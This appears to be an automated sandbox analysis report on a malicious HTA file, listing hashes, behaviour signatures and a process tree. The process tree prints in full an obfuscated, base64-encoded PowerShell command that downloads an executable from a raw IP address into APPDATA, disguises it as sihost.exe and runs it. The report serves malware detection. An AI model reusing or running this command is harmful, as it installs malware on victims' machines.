Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
13-06-2024 17:28
Static task
static1
Behavioral task
behavioral1
Sample
3371aa45b44d7065089695960d94e028.hta
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
3371aa45b44d7065089695960d94e028.hta
Resource
win10v2004-20240611-en
General
-
Target
3371aa45b44d7065089695960d94e028.hta
-
Size
34KB
-
MD5
3371aa45b44d7065089695960d94e028
-
SHA1
77f7d123f864ba762b813efa8e1d4c6abfaceee4
-
SHA256
28499696b10d24ae8686b10f6afce67f6357d11490dd4a76a7e4a671a16d4ea6
-
SHA512
24c547b7e6bd197b5d829166341e9483657571bad5023baf0d02eb87c158cdcd2a58bae8d8d1db33db5f6faa582a325c05f09ca284ea5ee8441e114fff149aae
-
SSDEEP
96:40xsXYxvOsXvQ645fUfr8jmaTWJrwvQ0aDG/ratntYe1a0aOsXEtONQ:403hfP45f65sQ7DG/ratNM7gONQ
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 3 2548 powershell.exe 5 2548 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2548 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
mshta.execmd.exepowershell.execsc.exedescription pid process target process PID 1932 wrote to memory of 1980 1932 mshta.exe cmd.exe PID 1932 wrote to memory of 1980 1932 mshta.exe cmd.exe PID 1932 wrote to memory of 1980 1932 mshta.exe cmd.exe PID 1932 wrote to memory of 1980 1932 mshta.exe cmd.exe PID 1980 wrote to memory of 2548 1980 cmd.exe powershell.exe PID 1980 wrote to memory of 2548 1980 cmd.exe powershell.exe PID 1980 wrote to memory of 2548 1980 cmd.exe powershell.exe PID 1980 wrote to memory of 2548 1980 cmd.exe powershell.exe PID 2548 wrote to memory of 2780 2548 powershell.exe csc.exe PID 2548 wrote to memory of 2780 2548 powershell.exe csc.exe PID 2548 wrote to memory of 2780 2548 powershell.exe csc.exe PID 2548 wrote to memory of 2780 2548 powershell.exe csc.exe PID 2780 wrote to memory of 2600 2780 csc.exe cvtres.exe PID 2780 wrote to memory of 2600 2780 csc.exe cvtres.exe PID 2780 wrote to memory of 2600 2780 csc.exe cvtres.exe PID 2780 wrote to memory of 2600 2780 csc.exe cvtres.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3371aa45b44d7065089695960d94e028.hta"1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1932 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c POweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"2⤵
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOweRSHeLl.ExE -eX bYpaSs -nOP -w 1 -c DEvICEcREDentIAlDepLoyMent ; iEx($(Iex('[SySTEM.TEXT.enCodiNG]'+[ChaR]0X3A+[chAr]58+'uTf8.GetsTRINg([sysTem.CONvERT]'+[ChAr]0X3a+[CHAR]58+'frOMbASe64STRInG('+[cHar]0X22+'JHpsNEZhICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtdFlQZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTWJlUmRFRmluaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVUkxtb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVWVmZHUmVnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWElRa3Usc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLc05FdFcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmJqcXJzTmlzWWwsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRnRUF6aENKWlUiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpsNEZhOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vNjcuMjA3LjE2Ni4xNzUvTTEwMDZUL2xzYXNzLmV4ZSIsIiRlTlY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO3NUYXJ0LXNMRWVQKDMpO3NUQVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chaR]34+'))')))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2548 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r4mepyim.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2398.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2397.tmp"5⤵PID:2600
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5a5fa7e302485c8e066bd511d3abe1d06
SHA1a1d698d3b215348672618011e12ed0a8d6d98528
SHA256815ade29e8acacaf74549340eaa506882d3cb2f7cabf521cc548fb27cb7d2147
SHA5127dcc9c2b7f2b56a27a0293f32cebbf4e628914b7d208c9d82db20b32c098a18f55d793958b51dffee752cecb01e889416f41a2678e64f3e53362b7a99b0a31e1
-
Filesize
3KB
MD53d128c822f393acd8d85fcc984113b68
SHA1731bf60226425ed985ad3416201c6b31e3f05676
SHA256b517bed27616e91e3bc6ae42fa1702d5438b119de4f8edc3d780f59d91387c36
SHA51204e53ee5876ee1b94831fdcebce76c9a27855209559ea153d28173d24b86ca8d1be46f4846ff1e9bbbd09daee2bfb849ade4a9bfbdb675d5f8b94726deaaf9c6
-
Filesize
7KB
MD57c7b5018a11e1f096c3a62a1e099f0ad
SHA171bc68d4a3865ba3dc35759e78473a59638a9032
SHA2562f76c4fe893dc7235055525e63ae16b02b073054d149415cd43bf07e18c0ec87
SHA512389bd997ef60a17d66e8bffd2f1ba4aa2d9d107f0ce246db7cb6b872f0943901e96d4ca48cab017eece9411e9e38c84c574f9528cf0400799c4a2e83478dc176
-
Filesize
652B
MD5dc7c55034050655157f676ae158c8ae7
SHA1ffa5e98484218c517b553db2fd50e05f58403fac
SHA256049606c85bbac78d02f6510276e97687d3bc360f3d33813732cd8127ce12dc1d
SHA512500f7b494868f793a06b17c701c0b1d4175ad25fff04004f337fdc8744daadee7d3f6dfb2f8f0835b5476eec79b7a9e1993110b0628078e3c381d1b5d0d41f6a
-
Filesize
456B
MD5b482306a1ee20f92189f3cbcd699aba3
SHA142d499137c52fa5bed274ae4942b089dbf025119
SHA256ca429dae59619b584c51f3eb7f070e425308c373ebe32222679ead6b9ca4f706
SHA51247f9add1109662cd59843fed68a72edbbc13da41fd1757f8fbd5ea46aa70eb43b87865d903505a50b1b2419b41eb40878cce4eeb9ce6c2587a4e028e93e527c5
-
Filesize
309B
MD5a51545621ad6687a4b5c3fd8217a9520
SHA1114690c9bda8933f9c65b7c7c8d354b711e13ea1
SHA2560e6780b1a991d80bcfe59b8aac210f9c9cc9afd028f8505ad6b1b3864abeffba
SHA51218cfea9879bf62325a23b877bb06a9b720275e7af0cb011891b9985a81349fbd781d609274bb1911719491be595ec8552399b7ba4a42065bf47ff67ffded4022